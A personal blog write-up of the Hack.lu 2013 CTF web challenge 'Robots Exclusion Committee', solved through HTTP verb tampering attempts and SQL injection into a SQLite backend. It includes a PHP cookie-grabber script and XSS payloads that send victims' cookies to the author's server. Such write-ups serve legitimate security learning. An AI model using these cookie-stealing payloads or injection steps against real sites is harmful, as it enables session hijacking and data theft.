Hack.lu's CTF
Bonjour les gens !
The last two days, we have seen Hack.lu's
CTF take place online.
It was a lot of fun, their IRC channel was really fun, so was their challenges
:)
Last results? 106 over 413 applying teams. Well done HackGyver \o/
Now it's time for the write-up. More precisely, the one on Robots Exclusion Committee, their 150 points web challenge.
Robots Exclusion Committee, the challenge
That web page only contains few fields.
They only ask for credit cards information :)
If we validate the form with some random inputs, it redirects us to a nice We
are sorry response.
That looks like a XSS to me, no?
Let's try that!
<?php if (isset($_GET['cookie']) && is_string($_GET['cookie']) && !empty($_GET['cookie'])) { $data = htmlentities($_GET['cookie']); $f = fopen('cookie.txt', 'a'); fwrite($f, $data); fclose($f); } ?>
A basic cookie grabber, waiting on my server.
~/ctf/hacklu/robots_exclusion_committee ยป php -S depierre.tonbnc.fr:9000 PHP 5.5.4 Development Server started at Tue Oct 22 23:19:42 2013 Listening on http://depierre.tonbnc.fr:9000 Document root is /home/depierre/ctf/hacklu/robots_exclusion_committee Press Ctrl-C to quit.
Now, the server is ready to collect some yummy cookies :)
<script>document.location='http://depierre.tonbnc.fr:9000/cookies.php?cookie='+document.cookie;</script> "><script>document.location='http://depierre.tonbnc.fr:9000/cookies.php?cookie='+document.cookie;</script> ">><script>document.location='http://depierre.tonbnc.fr:9000/cookies.php?cookie='+document.cookie;</script> \"><script>document.location='http://depierre.tonbnc.fr:9000/cookies.php?cookie='+document.cookie;</script> <!--- And so on... -->
And I fuzz the fields with some javascript, trying several because I don't know
how the server will handle/display that.
Above are a few examples that I have tried.
Please, mislead me more
Well... I am kind of disappointed...
After like half an hour/an hour, still no answer.
I guess I should look somewhere else.
To be honnest, I am running out of ideas.
The website only contains two pages, one which contains the form and the other
which displays that We are sorry.
Time to guess!
Indeed, not knowing what to do, I just try to get some random pages like
/admin, /login, /secret, etc.
Then I remember one thing.
When I had the opportunity to speak with some pentesters about their job, I was
surpise when the told me :
About 80% of the flaws we find come from /admin and /robots.txt.
I feel better at this point. That feeling that makes you realize that you are
moving further and further :)
When trying that new endpoint, I stumble upon a basic auth pop which asks for
the credentials.
I don't know the creds so I guess that is normal it rejects me. I try not to take it as personnal :'(
First idea which rises from my tired brain is poking the .htaccess
configuration file.
Everytime I was in front of this kind of pop-up, the way to bypass it was
related to the .htaccess file.
import urllib2 def get_html_page(url): """Return the data page pointed by the url.""" opener = urllib2.build_opener() request = urllib2.Request(url) request.add_header( 'Cookie', 'session=da47b052bb5e3b0688653dc469b4f328e768cfa482a0547ec46c4850bfb2903a6c5b0ca7' ) request.get_method = lambda: 'AZA' f = opener.open(request) print f.readlines() if __name__ == '__main__': get_html_page('https://ctf.fluxfingers.net:1315/vault')
So let's try some verb tampering on that page using that small script above.
Sometimes, the .htaccess doesn't allow the GET method.
But older version of Apache server were kind enough to interpret every unknown
methods as GET ones by default.
That's why I try the method AZA.
Only 405 Method Not Allowed.
Even other methods like PUT, etc. return the same error.
Oh come on! Let me in!
Stuck again...
It is 4am...
Bed is one step away...
Have to go to work in a couple of hours...
My brain doesn't work anymore...
Bed! Here I am :(
Fresh start
I spent all the day at work trying not to think about that.
But what does happen when you keep telling yourself 'Do not think about
elephants!'?
You think about a god damn elephant!
Finally home but my brain is still full.
I think about that f*cking challenge (and the others too)...
Few hours later, still no fresh ideas...
What should I do to bypass that authentication? First, I should have a break.
After coming back from my cigarette break, I try to think out of the box.
What didn't I try? Well I am dealing with a pop-up, and that pop-up holds some
fields.
Yes, it contains two fields! And what do we try with fields? XSS and... SQL injections!
\o/
I think that looks good!
Step by step I am moving further and I think I am getting close now (I really
hope so).
For the first SQLi I try is the simplest one, the OR 1=1.
Ah, that feeling... so good. But! (there is always a but) But it is the Secret #2 :/
Indeed, in the challenge, they are asking for the first secret.
(And honestly, it would have been too easy with just a OR 1=1 SQLi :/)
Cigarette can save lifes!
Well, I do not like you neither Robots Exclusion Committee!
Again smoking cigarettes, one after the other, trying to have fresh ideas
by breathing pollutate air...
It is all about karma. Killing yourself little by little while hoping it will
pity the karma :p
Suddently, I don't even have time to finish the cigarette I just light out of
habit that a detail comes up in my tired mind.
Let me check that page again? Yes, it is right there! Yes, have a look: Hello
admin!
Of course, admin is retrieved from the database. Which means that we have an extraction point!
Time to dig in! :)
Checking if I am dealing with a MySQL backend.
And nope!
Well, now I know it is a SQLite backend.
Let see what I can extract...
Little Bobby tables
I am aware that some great tools already exist (sqlmap?
bbqsql?) when you want to dump a
database.
But where is the fun here?
I mean yes it is a CTF, and yes we have short deadlines, but I am here for fun
first!
So let's go by hand :)
Just to be sure, and to enjoy few more seconds, I try to extract the admin
password.
And here it is: just_a_password_no_secret_here
Let's go for more useful information.
Nice, a table labeled hiddensecrets.
What's inside? At least I want to know the names of the columns.
Oh, I start to really love you now Robots Exclusion Committee :)
That table contains two fields, an id and a val one.
Checking the /vault page and we see that the secret #2 is in fact the
base64 of an image.
Therefore the val field must contain it.
Aiming for the first secret, I retrieve the first row contained in that
hiddensecrets table.
That looks nice, let me display it for your eyes :)
Therefore the flag: eat_all_robots \o/
I know that it was not such a hard challenge afterall. But I really enjoyed
it!
The way it manipulated my mind was awesomely mean!
Misleading me first with these fields, then a second time with the Basic Auth
and finally killing me by displaying that Secret #2...
Nice challenge qll!
Bonus: Robot Pirates (music) :)